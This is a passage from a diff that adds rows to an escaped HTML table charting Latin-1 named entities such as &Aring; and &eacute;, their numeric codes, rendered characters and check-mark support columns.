+&lt;td&gt;&amp;Aring;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Å&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;atilde;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ã&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Atilde;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ã&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;auml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ä&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Auml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ä&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;brvbar;&lt;/td&gt;
+&lt;td&gt;&amp;#166;&lt;/td&gt;
+&lt;td&gt;¦&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ccedil;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ç&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ccedil;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ç&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;cedil;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¸&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;cent;&lt;/td&gt;
+&lt;td&gt;&amp;#162;&lt;/td&gt;
+&lt;td&gt;¢&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;copy;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;©&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;curren;&lt;/td&gt;
+&lt;td&gt;&amp;#164;&lt;/td&gt;
+&lt;td&gt;¤&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;deg;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;°&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;divide;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;÷&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;eacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;é&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Eacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;É&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ecirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ê&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ecirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ê&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;egrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;è&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Egrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;È&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;eth;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ð&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ETH;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ð&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;euml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ë&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Euml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ë&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;frac12;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;½&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;frac14;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¼&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;frac34;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¾&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;iacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;í&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Iacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Í&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;icirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;î&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Icirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Î&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;iexcl;&lt;/td&gt;
+&lt;td&gt;&amp;#161;&lt;/td&gt;
+&lt;td&gt;¡&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;igrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ì&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Igrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ì&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;iquest;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¿&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;iuml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ï&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Iuml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ï&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;laquo;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;«&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;macr;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¯&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;micro;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;µ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;middot;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;·&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;nbsp;&lt;/td&gt;
+&lt;td&gt;&amp;#160;&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;not;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¬&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ntilde;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ñ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ntilde;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ñ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;oacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ó&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Oacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ó&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ocirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ô&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
